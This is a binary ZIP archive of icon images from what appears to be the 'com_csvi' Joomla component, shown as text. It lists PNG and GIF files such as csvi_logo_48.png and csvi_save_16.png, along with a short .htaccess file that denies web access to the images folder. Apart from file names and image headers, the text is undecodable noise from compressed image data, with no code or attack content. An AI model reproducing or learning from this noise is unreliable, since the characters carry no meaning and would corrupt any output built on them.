DtEXtSoftwareAdobe ImageReadyqe<PLTE$9EӒj}ẅ䆆cde@@@㳲㛳kkkbhlGQV")㼺*2 }0CMޞ ⊊ 2<\]]Unӥ5>B⒱dmq())-59Xgq~~~333-..JJJЛTVW>??6C!QRRz{{ぁ `fj6=?''')15'()өWXXO^gY0:ެBFGi#&(vvvۊ.I_3I_+,,(\( 'com_csvi/assets/images/csvi_logo_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEN tRNSfYjIDATx| ֖F"!j@ȹGkQm䚽mE4^#t91q\GB<5 &#Z4zj픜\8ǩN#rutʹs-,^2x5dt/02a6 #O6G((/'?x^ a*hNNQM ΕBz;/g.v׀б78s Zk3}wRTנN%/X̼<3l+OT-s۶m̴ƬY\_RXC:&¸z0!NPNʅj*>.,_n OP"tL&C{74< `;!Jc:s?IN5TS[ţ:b P_P/LB'$鈦55 /a=R[! &6hh@kBu`V( G(dWK?|lj[8 !Į| Qti$hu7btIENDB`PKs>\) com_csvi/assets/images/.htaccessnuW+A Order allow,deny Deny from all PKs>\: (com_csvi/assets/images/csvi_reset_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEԘܨbk􊢻Ep4c-Y\3\:aQ|[zI~:jExt@ePs=n2`NpMTu7g|.\G{BufZ@q⡸\ՃwOu@pl`T+WipG|Gjv@r:__n߾솱dftŁɐЛәKbfպð1tRNSN!DIDATx| XGו%$$*d5hA H$P)&ZRz$b[#"'." JzhպOI@,7yв=+gc'zKog3?Lg4%gzTh}P/G#*HEyiZ E+oRMB4ogG3 )\RPJ+i'3Y,(_B$*>=NPbTTR[%%(ĩ`4Mdt%S^7Nٷo%#PZ^Αt hQ!URݻ7%%EӥݫRC}VQzԴi,:3-6v0"l12$ϯI{+僀! 1eeee.l40p3/01.| AcP;/T1Z-YI{` 0Z%nݺK.Zȗ2/tHx:Ks̾:ssT099_ /)Nt1rI;d755:멩WZM2\Ά'=c2%KءW\eh([n|oL̆Ŋ02  ߹scg̘aa YB;߁Ylń)_ЀaX(ր2Au:h|~vUDDijwt8p|=д01dbʄÇ 0ͭ@}O8m}##EF?~_OìFziq|Sg/z hГEZF{ib/G Y=i]:-{P 8 vz{4$$Ę8;$䋣GssC˗BGE؈ ?tKwѭ\'{o0TQ(`cظ|Nu#=#5!}^OQ8@{QzJy5000Kx"FaE!)hРAw333'virf渻 ڔwdA=<ʋޱtҝfƙNN":yNԚt󇠠[PVLjmmEoۿ6;e7Bۓ rPWT W8 dk6K&%oɇv7t D8'.;$;q~{wʏ`q ]pwcc??qvm<.Q4s#[EyH$vX'=:ok'5DZF9;J$ͫ~ҥ63VRE$hյ$vmh3ݻUmvԩ8SaM?@vif"4AuAM͑#Gjja6G/'+DhjuA>V `]|uuh`! _w|vUrV$)N<`5&9ӳZׁ\HBĘb9!׺$f%, O9A GlG%Hou'uIENDB`PKs>\@&com_csvi/assets/images/csvi_new_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEդ.[5c:iys嚴礽Ѥu8_}ɯX}sg~LnUuaaeFltRNSS%GIDATxb§:vX܇e1e\D;]ڜe'uvvN>QOJwN :Dyx;4ٛu tYsΗ'O,*`asa`6xʪ?,籖׆f0(;yV[ 3vN 5?B@n))>Z'Vai;{+p͚ra`51ft0,~)zkWڶS0>-ٳ2rRs2Ƀ쿪(px98s?G6:ho2Wn/~ T8LXsc@pí˻ ݋24WX.5>.MߋGכrqZtѬ ^把Vv@%l-@p)R;oWlbQ1;;.)-M }$%⭹oEnnx`II Bƒ VFJJYYLŮ ],~ݹ^IEIp_,#K@kӋ`t}׮*p%Y!e1VVvK2VjXZc5~B 0NX!Wg*d/%¨"'qVOq *j/VZLMMl2T6#c!0ZΔ@{\O]xpe[(@'3<*IENDB`PKs>\ii+com_csvi/assets/images/csvi_continue_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<.PLTE,X4\]:kuۭ䌮Ǵq[p2`Z=d2aYzܬ惰̫m户b,XGj}_:!tRNSi$u IDATxb N"%l<Al ު.83ac;XuPVVV9@U`?$aZݤ-,6 &R=l<\XxV0Jmj?;.be| ݚʋB;Ă,/p`4/u]!lhǠZ%4!A'X|ʘY +R=s26RcސUԞ_>eil&"3깋s8o:=O@y!A)sYzL:!۹٫U(sb `b\SIENDB`PKs>\yrr'com_csvi/assets/images/csvi_back_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<4PLTE4\Or2`;lRwGj@n䑹ӹOg,X6a,X-Y^}>eꃩs9hݴU ~tRNS. k IDATxb %꘸Lf @lU,1u+C?{*66pVVV*6v(F h6Rfڵ]DC/2VNd jL~<ղ}uIJw&Ni݂8D[O.:]%%ys˖&p2pxnn'7c^ 6@^!Uw?IENDB`PKs>\_ڊcc'com_csvi/assets/images/csvi_save_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<+PLTEGj[z囯Ĵԕ㇪uv{frՄò懟tH{Es䇤g:k󋡹WwNsŸ}^kӚdc}˧_cxbwȫ@ΛtRNS@  IDATxbbl 6O[T'0-,Pd *ef9 ]:e5o Tch(dK4ÖP*ѴfZɕ }yLT m7Y'9tkb0jY27*m2ma= n%YaT^Uΐ%hjF)I\U ;8U:sT:} +7,Xn]'-dYg܎xەAll[?0IENDB`PKs>\e::)com_csvi/assets/images/csvi_export_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTEi㉢p˟hvs_b|ϟϜϦjguֆjrrkf舢Ҫscy啭ij蝹κc^=LotRNSJIDATxbX%B@l 602bѐt N9(PT.-U,! e$x<11߈ z }>26VKSŧVXqqq͘jE"JKƲf@m]6%OVA LfK,dpLYӚ K-PZe n3'0Ai,&ҺJrN9@qu)p&F =g˧%̻]CbD&L\boT?tIENDB`PKs>\0y~~)com_csvi/assets/images/csvi_delete_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<=PLTEgߪr㬼ݶҭmԹޢǚyԮ䂝պޫ㐱˜޵ꮽξ}尾ϝݤȶ薯dzvzޘ񊣼vcs׵樽Фݞݦԟ՝䂱Σp¤׼ݝ⣼ѣݻ|dtRNSEn9 IDATxb^,@l 4fg Dyw120&՛.g=I/T:Aa/e,S1Ԋ-v[&X|C6CCtX ]QK2(fZ7?p>-<7f- dmm_џ)&iA6̼tEfpslY5Ka_ZGQQ4m@ebfddT{N]WiPs5{TXMQ  *`srIENDB`PKs>\g˯  .com_csvi/assets/images/csvi_maintenance_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE㌢<\|򍞱d|㐢OjB`]vq̼k}VpLnˆIe4VyاY|ݎt.Quգ䙭㢵2Tw梳6Wy痨3Ux覷ǫ*Mq&JnvwPkUo]BeYy?aɜթPlnlA_ӳӭu|zCcx߭imB3!tRNSS%IDATxڄ{@SU1L dʔ06bBK1 4d "h A4y33]YTZZDi@lKd<{~:bhWzjtcvtф7ﵤE&>X [l$}6 p> fn7j8Ao>7[DE2HqLK h:{.fj[֭sl6&V a$uQ켥l28 Ix\`|s6sGujɜ Հg/Źc5o^sH כpw\ks{wC;\zM(..s&|!ܞ:ejȰ Kz%{ȘB -Žl0 ~3q]@MW X"X3Y)3Ppn>#(w<\5v$^.'az=YYO?i$g֟넍iA.ێc x==}y8jǝ >F0E??*DGG[Tc7-hӵo?Zpg">?4_ ZOy Z~Ȯṏ^: ղU/_>+$䅏_;6(hkׁj/~vС8=J_Wի/ŝׁRt&Jv:D?.Tt*50LViJ)ں5pkbP岵-0(9UׄuupZ0bWTk M-:]F+钚.tt'G"$((vQm &cꚤPECgìmЙ$m~o*** YԴTX*sҬm B+ $~EjhӼ6,GRk#z NBoHU$mP;O'j#9NZ(clhN >QEڠ$&s܀,~Y%S( O?$Xж6JZ[[jsJS.6[UԠݬf[UEXȬLո +uɃmSrvfHI5B$ނv:9Qm! s؄EdrU02)0ޓx攋Ż5`zTjU 14È qQI֐Nt2y19f@a x Op0Y؊FC9z-f5-L 哃5~)zSݦX,#ת IhJlUAAz\Gb2ncWLzP` kF .x_Ɠ %8N\Ȧ(+F9,PB0Dpi ))g! 0RL3/IENDB`PKs>\( &com_csvi/assets/images/csvi_add_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE{[4];b@mJ~ao%vtt6SQ9;+}?|z7#>9 mmmr(22T1,OOpҥ r =zFӧ JJ>}zt*!>=wO (0H8 n! 9mܣ@hj>L(x0anQcE2PEsWp1W>,!Tïb^0iɫ]M&Sm&=d|*ԶmwZ8qAQqТ?VRRL,kLe23 +*_WWw_`R!SL/Ϟ-((tLPp9 #K @rN oKKKuoo% ɟن6üғPߺ~@zݺ <_^)BͫWEJIIkddzfl $_@ȓ6欫md49=kYdee@;aFD:$&'<d\eh'com_csvi/assets/images/csvi_cron_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<dPLTEƸ-..--.¹c{,,, UVV+,,叾ٵs},6c{ggf伽-7⍋wMTX^u_yTSTִ[[[-48vz|BAB344322")裼Μ.8!-9Wl|;BFfgf """Wgu<<KQܜ$+-7 ;;;ꕼ#8?C>-?tRNSy@6IDATx% s.N! \&r ;O{V2n<WD,Yɡb@J8Z`p:aj|(m* o9/dSi[kl_^CȒ=c5tŠ0"BhfXFA6y>w' KvM}H7IeEQ- gG1~LqU?#z+3P u x T)R$4] p^pIENDB`PKs>\Qs )com_csvi/assets/images/csvi_cancel_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEc|Ct䓬Úɥɢh㇩2`\{-YrõoJnN3\q4]ey6eUwT:jxGjLuiEx=nSs^@f:a{Cu/\,WNpBilG{An\[vG|9_@rJ扡Uz߻ֿq@p۷fk∟m՘tRNSS%IDATx| \g(M,P4@SjV,kQaL*.SgeJYv'"W MTL#wr[]m"Bv|?<"# py੪ޒ\32KE d_%lT?優9Uڔڗ S4M|5, ~EB>oN^>j_i(*Al:tGzߏ^ 7mپ(GHX!k7~~'ܮS(X(d-ЗX,u77M` InUU:ERBqKL9^f0سo\= )UDǝIRȒ&W;  4 8T IҲNi+&VWV[_YI\$)Ɲv4qɕJcZ(;x@8ƹysOG,[dUJCVʎEs~raF++!F. #G@.8 y9FrODZ1R 2J.PDGdNXSGFN )b$x3*b-!KuKMMM#\ݥB^vAKB/j˃\bQ)P_~ԉ x/dPH ǃ7 x x zjA)rAFt -)'Cރ`ȆYu+t zV@77WB>e@)̓+tcC25>{dQ=W6C/SL8 ` =?~;e36]Ɩx\yT'com_csvi/assets/images/csvi_back_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE喳ʬ4c瀭LnZ{As4^Dm9iBf1[9_/^,X,Y.YVvtm`~\ +com_csvi/assets/images/csvi_continue_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEDsSu4bLzJvEnMn[{8ia1[䖹PHH6?ߚă$&׬͐ 16ɮYs|b5`dh:Dtߊ#@ yE c 넏p7ޝf Nrdޭ[ŵ {UIrED'UAe}q)T8m,ˉ2ju6((pBHUSTIG *JJ(YO|5PI%hiݧ퀖yu@Fqm:ڷ$ IENDB`PKs>\H==&com_csvi/assets/images/csvi_new_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTEٙsǪs{@q퉹դȺrs{ٽ韴^s낝䟶ʻ꠶ʺwǯ拤zZKtlガɻ榾ѠꕩQtRNSJIDATxbXV @o`;,.(0'ib`#x6 xI1%ʧ3JP59u%,,,k tҬj-ژgJ\RB͜z[.lٳUiZHJf1L)'(X35ei|_܆1<\<]'com_csvi/assets/images/csvi_save_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE5]aٹ룽gJ}Uv2; k};A'0lK~Z`a׊xfZ[y=p ww`ۀ C6gPf@ B2O_ҽ&du3Uo*~zM\ MMmgZs3۞6êY>~Ty_< xn LfKdG#6ZYIJ2/teo490$boI5s#Y>ͦV&dYo 5Q" 3g}֞3{}xV}?,J0Y_ I$SMd986q@?uCLgBenqȶ2i*X ҝ*+Q}3&fM~8oȶ5̗Cz^ѝ@ e^H}fjȲY#.Jܾ.}GQΏ '+9;IENDB`PKs>\Ǟ8 8 .com_csvi/assets/images/csvi_log_details_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE֜إͰ/YCs{yh8bԱע󎥽z큛RvSLtiK}nm[zݯߩ_ϒWyj=oԴិOZάGjbء״Np>f?tRNSfYIDATx| \SUL X"ǀ%@PچH*ji﷫[(`Ȳ&DZ-zzC@<~{Ϲs.241^-Hٍ֧F7uhsQ+$m˳զS˥i˗XcJ&#'Sχy?wY8CQnxA q.*+RiJDCQX`̗pZ]<ʐ߬$thE Mu\skk.[?mH"9t_"!:ЁA&$N[hkϗHdBøiX ttt" ۯ6!3"Cl~ܖ5`Q-,L{\\`H(_ĨAn7h"@:+G4 m3++%xŊCs`77a8%dQ`z BMUs6s59%% "\ ` W,B@>ÿD+k-D$}DDIĊaW :y[KJ""")yd~~^B`w1Yez:}} $Ě{(( V˖(*Cw;;|7/;e%&^IIpsd` [PD27<\Ċe&&C)z l5` %ȣ?PѮ֊ x W&aZ \-`]J mY9'.VVnܱ@&@e 6n twhb/HX.oĄjj^&a~E.Ery\;g|813w̜?>QNGCȃJff潓_2ׂk C ĕŬMXD'c=*T<JZx;GHksay$wu\ GΔIENDB`PKs>\+)com_csvi/assets/images/csvi_export_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEx~;j8eԤ,YCm3]ݯPLbkإMnުEwBsךguO|a{폨oӭCgWڷTfhaH{d_bXeRsRtYz`@g\]mtRNSS%;IDATxbZ{4.N |hB{RS3:5 ^y1yҤI}=+qg5/&M8 &N'qZO"OS~ Rڕ=SDLL̻`e/^45=ڴ̋/ـ }(UnlZ@Z,y 8߿5,(ƒ9/ϏCvYKs3$Nh1{˝c#j0)WAF3Z)ppp{{p}Rf`Pk}7^oopZZVS{,Ⱥ 53rZ2{xf)l+}Y{pzDS'FOMWm> T 3JjA+d=U@%SA@]> +X1r7Wq! `Sl QIENDB`PKs>\T9 9 (com_csvi/assets/images/csvi_clone_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE4d2`Ex3\Bu-YTv@f:j7g/\=n:a+WiNppoTtGjb:_[z@rltRNSS%IDATx| \Su@'#G0`M0B X b84ᵭ , P)xϩ&Q}C?r"f4#I$1Hg Ti*kke>;D `DUR&Fܟ$XmVg'O$)YB J'JD݉rx465 l5M )Q4_P}Cv-Sٝilmpjmm[%6)@w˿Jy#ƭ1v/ܭlP::'`oq֏ Yp}S_ho#;9hӡJAX{{Χqv cPTrWj/'IMceC0!F}0_qV>pw݂$M(#>ާy8Nwuć[vb4Tj(ckuŝ^Ͽյz&F(JFQB2<>`?>8t 3FcO{4Bi73;|xL k$!?qb ~e_Rb"볱 /a֮ŇwFt{ }}[^x(C8OlDE"Ar,N၁QUpPi84ݩ 0`[[ Õ8(yDSb02 8yy{2e[FSD$p[T!J\P(Cp3k1ۊ 6\m$د9s>@㟜h"Zŵ4؉MN=5zGk#c{@+**r^w 8.vvv~'ޅd5p л3C!o|?ZMPoK8 M-з8e8%8ϧqᔁJZaBŸ= թܼ/1!M? d! >?Q2jhцyɔ(eF .1BaC0D9>5UV{VxC*m %󉹕.$'K&ZG Pkusr6U0edQ-~<6R DAnl&MYPI #}tGLeӗ,sQ7X:U/pbF Rz:/DQϔힹrVaBQ0sLVALnW 5Ԭ|:i&82 9d EןqJS"smcqIxs̕IENDB`PKs>\,com_csvi/assets/images/csvi_ajax-loading.gifnuW+AGIF89a+ 3f3333f333ff3fffff3f3f̙3f3333f3333333333f3333333f3f33ff3f3f3f3333f3333333f3̙333333f333ff3ffffff3f33f3ff3f3f3ffff3fffffffffff3fffffff3fff̙ffff3fffff3f̙3333f33̙3ff3ffff̙f3f̙3f̙̙3f̙3f3333f333ff3fffff̙̙3̙f̙̙̙3f̙! NETSCAPE2.0! ,+ PH࿃,B60!ŋ-b#Nj;R Ȍ7j\J2*com_csvi/assets/images/csvi_process_16.pngnuW+APNG  IHDR(-S pHYs   cHRMz%u0`:o_FPLTEbEx3biBu-Y3\eG{=o:a:k7g@f/\DwGjNppNoG|v@r+WHkbo|jvtRNSS%IDATx\ùQMvȝs M6 #MRcg?5: Z^;JōoSj ;s%J MBQy76i(?3U*߅}\e[B ' rL #""/oUU!IENDB`PKs>\j@*,com_csvi/assets/images/csvi_unpublish_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE-YUvCgꍪè뒺ErUMnl3^ح슺־4c㒮\|\1[FwlK|;a?p釴ю׭挶ҝꂦr{ʢjStRNSS%[IDATxbG[L|Ჰ!c*/K\}NLҷմB MSɞ0`E(-4WRR@ʨdJ׼]Wa R\ 9"E߮A,+uС=@SWW/pP$'k2]2`p_@FKi5^CCyܲmn*\TZXțʘ*kd;7n'{SSȞ7dZ\?==05]"\s7蜡XʠhPX~A_]!!ӧK<՝/L+ʠZXu' |D'ޙXʰ֝f@xGKZa#CFaYAHz;狠wܵp..plPbz` ХN4-9A#8ǒ 30R_|AJ7l6Y?>2ausU UU>

      \w<(com_csvi/assets/images/csvi_order_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEƜjܜіVuCk㙾ֲ=k™Nv:ed7ϧɢK֪nsfjCs傞JySJf几\V}O|Ryxɼ_挼ءݹܬ-Z}MpEoLqCw柾ԻܰfkJm`[ʖZ[FJ{K~aHxPrZ|kUtRNSS%uIDATxb6Zk dIh2BP~%$493]aS獦k3O>sQ32\>mt06}qf eNf3&r>eg0ա׺<=s璦1P\vo~ 4/W5!@ :SBbc{mlBHOHv.']OIv.*|hԼ?#jb,3uuUU+jմ U]]] ffg8y?Wdggyyw0!]{] ^ʌSw ,e!??\zՂ;*`$ӫx_0AʯWyҷڀY]1^hNNYYYNhv^9$_Y%,΀(?w,WUw|LU3n#2 `boY@J@=1-ɧU@w C 'EsDw+IENDB`PKs>\pZu'com_csvi/assets/images/csvi_edit_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEEwѤꜳ9i2^Uud,YO|ʚmT|瓪~㓧y{왲ȼ닢ȘkrXJbzL&iGhD 7@z ]Jf#P: -jssq1KJ 'k盛]Bi=th9IENDB`PKs>\DU*com_csvi/assets/images/csvi_publish_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEw4cCsòVw{ɨ:a2[:dLuMnCg䖾0޷Bag_oqqq)⾶g: )0 %KC+\vΝM`ҤHSX2/6jJ0x!ئx..P.WR35TW @@M6WlBރ=4VWҼp'.]aMLspo̙znbvsNaemY&1@5sA@PDDd C˫ 16<kj:+_x_\0qXYd;w~~6?*-lf(,m{Q;1wUz#.ҕ7:mPa4+nqJ4S},v8IԩS>r}QÆrer (8wٲEkʅ/Z&, bkssZ_1.Ê]ےyd`6[[ۉ]K&<*/Ǘgʔ)Զ%$˳q`o858ȈO.JJX3wju zr<"m*VY&VhM--2B+Kb$Z,W@{܏|\k};(@-+ IENDB`PKs>\@@)com_csvi/assets/images/csvi_fields_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE톮ʙㆮɂˈɁˑˤ⑴˂裾Ҝ㈮Ȃ̚늹䂲죽邰Μ撳ҢԜۥ쑺̟꥿ӞばϺٸ苰ʾһ~.tRNSJ IDATxbXA ˙8CAl 藨MgX,0-Ѝ!e;P3r6#̜i#(BEDԘ!WieSܢBkX3?yV{MfX0uT!QQf9 kd &0)y1ss33%FdE1)WoȠ;#+NLz%R3= %Naeadg{N [$JYOP]bUS1W=IENDB`PKs>\n+com_csvi/assets/images/label_open_hover.pngnuW+APNG  IHDRm&N9tEXtSoftwareAdobe ImageReadyqe<LIDATxMhA&4CVP)'EADf^ԋADۛ(^ PIRM8;6ۤM~^ooa!D0(EӤ >6t ?yyT9/ryw^ $_*jX ȋbnZ(S*7:pZ4lbȿbX] yWlL4#f&B"ib:t])BUqZ]aNAdDҹ Rbe'c `Ky4L喓:p|Vtc Vˏ \р"/qP98*E0it4_]Y{`vEqFdM}_z41\z'com_csvi/assets/images/csvi_help_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE㈣4]c-Y꛾դ􃞸lDt5bޡRפLnVvMyYyJ|sjsyj`AiChڬMZ}Foȣ|``鑩WBoح\ExMq{tRNSS%IDATxbNvB:䣕6ia t5?5wĉs18EAV[g͚&kÎP d#:qnsss/) Wܼ SP$x׹{" `kʅn?f̺ui?XjJYY]`2""KIs<@\M+D'&%egM><OWWDZ*9;,=akSӼkZ&su,SsszP6O0ٳ " uikq^0\ik۸/ .Č#&&FBʬON^mz W2~P y2(uį>am~~@nk֬Z!q7PI,ꦻqsYE3}}~ջwrs. -YaƏ%ꬬE/]x9s^ttu gipl(.>}pӧYϒ Pa_Vi/y®dvdwMu_g1[p;9Ν ;y!`焯S[A1I5 vKƾe1adEa^C+A6Rw-\:0")m*aرdJ֓  0u2}hW#ŦJ=7`n=agm?B )/.(/IENDB`PKs>\e9b&com_csvi/assets/images/csvi_log_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTExʜGnޤֲ坲-YS뎫6]aBg:iTvGy􍥽n㞶ҚXQxhNtQ|凱Xx]ꁪǃ˟xѥlj`~uǗ]`VǶn÷dܴ҄ܡMݖ߀{iXk墳ǥϒ×kT?tRNSfY3IDATxbzΉ,[Z@2<9[pJJ^䀮@}MZW]uuu]M|Yu({Q, 뚴r JuT/k[dLAUcc}806n2nZ`BW^UTWXZ dWɵ_nûmr*m*Vq-+%հ>UOnO (ƙ6 #-_*+yn6cK9=K8V W-,ܴk9tӊ' - JIOt㪭x~ 4\\ f76MAm"פ4 iiU'1X瀁%IՕi i%nurǟ%+pe.*"0`td)PA)ܗ @ R /sh4Ψ^^]n`A\0HQL_Sx̘\.V]^~Sҙ lyk_J=ݶ?ϱnDfJs>{ٲ,dͮ¡l$pzCee>+>ole' WH6a/q`nªy=NHj¾Y<,@eN3qQY {0(pLa-32ƨߢ 1~zc:=p;Zøhṋ^ngm$<>1L uK/kLXê$LLLͽ/@% 5 P 2_%IzE6G˼WtYYAc:Fp?&>7G;XIENDB`PKs>\Eb: : *com_csvi/assets/images/csvi_replace_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE9iu+VExBu=nw2`qp:a,X4\/\1[퍦7fؙ˦@r?qb[z0_4d.Y߲恞:_:k5e3bgi㆝,Y㌡すi|-[Tt4[bTv+X6f0Z7gdg-XtRNSS%IDATx| \e_D\c2BP5 &D80RhUh*(c$n`c:HFPsmyJ+Yta^;9n<<{<ϋT!flNʜP;V)FͤIl_$QUwrFr7nddq7(Ŗ3 }@.QZؔ>0k `,M FFQ\&2 о>ڜ#Wfttt07c͛G~dxڇ/HĩT.>{̾}S *U\\Ab'd$3 ka:1qpJG pS r BJr0QV»{ PW\3ڸDlԏ;(G+ ?ճ@``ࢱ*` (i~lq"?ȣG29R70~h3f(-} #>**,qܹC~}j@ Q̟?3Ww 0uR(@ z̥;l1[ iRPQQ˗/{zb(ߟ& "$-1qŒxddڒ.\Xhύz+h7n6|z֯_dfPÇ;DCoIY2qw o05YB1{E-5OMM1p/16x )&d 8Yti)%սzrtە.N@j,ti@0NsrZh%[X4D2}tl32D}Q$AkFޅ>!:APcS($DMh[I@"B!;.;q='`)l$"*@ybMPE+F8;d66j+cҨ%opFOn.lnS[Kh2gg,,˅3oܢ'UX '4cgM\vC6w' Y5wY ;۱S B!+Rjpiyt 1s ,pb4AaHxIȞ 8 a~x`>t+qu7XIENDB`PKs>\ (com_csvi/assets/images/csvi_about_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEBuwK|m,YS{Դ梺Fj3\a:a퉦[z4dow]2aTuz:krS=ok7g|@r/\@fhpNpNo쐭ŞMuc䑷и,Wqեޫӎʚ|샥NtRNSS%4IDATx| \SU6I8`2& ( y 9|!"Y<pA )Q F !$"=H ZhEҼ?TvsNBK_6V dF/?R`tkkY!zEJs5!1#W}'D9}vچ),WL!)-,#?RU:KI$R5EJ^:\;LdzyAu`uU{8W[[p`'UU&SYqYkNt&}ʭWVV65CI~ Yp|r9V+;6_!.pF 2'T =;Q_b۶c76BN+MM8',979LQ.ӽ T*sɹ /BB4T.e`xo_TNj* S~3285si Y-}P~dKթp C@"V_ r5KТ:8Y8# = #_?QK 9SR.HIIBk`_33tS; a=34T)+>ʷN^SC cBHM{{RFkIk֬XU!ERRRF޾8 BviBš[|CUZ[‚D~Aub`D^G.@NԾ8(<1\>!|sPW:Yyyy,niiinnni eqѺ"|~=EjĈ.hC]kwvh NI#::4g؃l}M-H;:k[*wtH1@d?{ZQaNP\P\򂆋St`R EgNcBaRGyV^(Y5 @M R5FPb ځi/,*Oa 4]vglRq0{ދ=ʸNC[P$ fa1<O'iŲ7_qs$DD8߁i063X_O|=IENDB`PKs>\5AG +com_csvi/assets/images/csvi_template_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE-X7g.Y:a/\b@rNpNo@ei?r:_AtRNSS%IDATx|\W1lD dDmm,X(RU( )DSʐ2 2BԠB-]`n9$w޻!|3͜9BbWT#2LJrHn˄?|EWXO{R!I1`¤UNp/WJp (RԄ6D zQ4WVx}SaSu/#JyFhFmeFJ`].hC͕_֋~͍O*FgIjxş/͚%4t*(흝ŋtvBcЂb G UOPZ\Z_ߞZZ q@[{jIpo5GFGrrե]] @CCCWWt`TJFp(E4*u_Ȩ8`Ixh>j0fbBA:!@UWw-۱WJ%bbҟ111*ˠ^Ez@ܾ7@.QdSʪJ1@j#/IEqar+Uꋈ>>?:և}rt{B.|.c|!w?>]< Y`o sa.!_0]|繹[BC\k{ns.kLG*aazzzߴG g|3ǰ2` Q:1hff-o"##c& Њ~c%` \e'Ю_ämyyyoKۺu:0s dN/A!MuWxGn[CC[^ $lK774[[RFᖔdi`H/a%8`i䶗fh[ ֶ[%19{s,)doo5"(X$"Tݭka0xóؘ8dP=JcLFl|NqhC1CCCX7*'ՓGρcdsf.NQU522zE0Z (R鉲a S#S&ۓ]'´Q{ ~HAAkݑG&^rm}Pg2DGD"-O1!oLxoTDDĚ% R I p6E ׮uqw ԍm]̡l8+ d^RƳHyQ8cnn?%DPpSD6  袄HyŪ-G8ŹUb)D _p ~BE*Bٹ[uAbqB.-ECC(TRj >Zd.3HHLR K(B ,!L8 "( Q^+VAJLa㧰Ϯ\v:LT&q;eX|(>oaT3UYW;ݔ|:hy$0)aCp_{lji 8 aPƊ*/c;pxfUVT/ :CIENDB`PKs>\b*com_csvi/assets/images/csvi_process_32.pngnuW+APNG  IHDR D pHYs   cHRMz%u0`:o_FPLTEbEx3biBu-Y3\eG{=o:a:k7g@f/\DwGjNppNoG|v@r+WHkbo|jvtRNSS%7IDATx\Lu_9=#DlMAnVYMIe-~z`Ŧ8iXsZ86 Ny"S\~gyك/E ū̲U$r{Dqc,&(*[/$Egz^o;$kN |N@ FN`";i$H6]1pEdKgÒqr=؜Jm̖KCIzWVj4/ep\ScZ_Z$9)[EיvioQWiX$c d@r Ac#Ћdߞ2/>,Liї QI n^o<}(ݘgZ{nqd0QʿŦP)spb@???axxl}Gjr^8+En2_D\{.폈<P5}r<6?iG?٧ߧ魤QZ"B O)~aNz;sq r^SѴRwZA.M^u+iJbkSuodT7a>vZTt.UԹ߅v%WjJ{n^pM+v ZxFP{1 j~Z!3~O^6pNH lO8p!eڙ^,쭕RK@rɋ塿d;Z72",zC}IENDB`PKs>\>oa zz(com_csvi/assets/images/csvi_order_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<:PLTE凬w㘲ɭȫQ{h³寺߮ݯ}훹˶膲ΝˣcsHu癲[w~埯Oyаnߏ͸フcqeX}oãyㅭʠȤw_}ҿzȥ0ʭItRNSӆ IDATxb 6SXDAl +n) ,p[+++<6AQ#gԮۑћkFJ,TmWw2)AGl9Y e.Q˔"7lR`m^l%͛aǠgd-RN0`iml{hf> =i+ʻZSc+z&8xC*wN~sDg0'q=gRUʤ-2 ⹽{kBxe9-_ IENDB`PKs>\ee,com_csvi/assets/images/csvi_unpublish_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<+PLTEGjը4\톴TmFm8_㇧r=kػj:k1`ʫLv`؂曾,X,X:k]>oKx0Ǵ[ȐmIENDB`PKs>\-D{4%com_csvi/assets/images/label_open.pngnuW+APNG  IHDRm&N9tEXtSoftwareAdobe ImageReadyqe<AIDATxKQϝYRDz^}z B z  (d+zzh5[KYά3vxg3,qa~y9=3{c !:TH~.Nٙޞ phLYF4^TxIn\+yu\VJ,SH mD5$K|k]pT卨HL+,+"JP@h2R9ǂC1c4JKN۩j:tw4?69I,Y.:;' `X^^+;ouL-Z4"X#D΄pKeeI`mzoFSr 8sl?0X_csymX)*jvRZh (c~`+/84,X(4:xvlq- "+d5[`ܚ7LIENDB`PKs>\hh'com_csvi/assets/images/csvi_edit_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<.PLTE㗫른􉢻녟㐪꠳ʤȻn䔭ó砷˺X따ȵût㠴dz柴ȟvߚĚomힴhHwk엵퇞Z|ꚯúwǢてï쮾ϫ抹֡Рҙߤ䖾ޭßf5tRNSi$u IDATxb v|ur 6Kw2n׍` 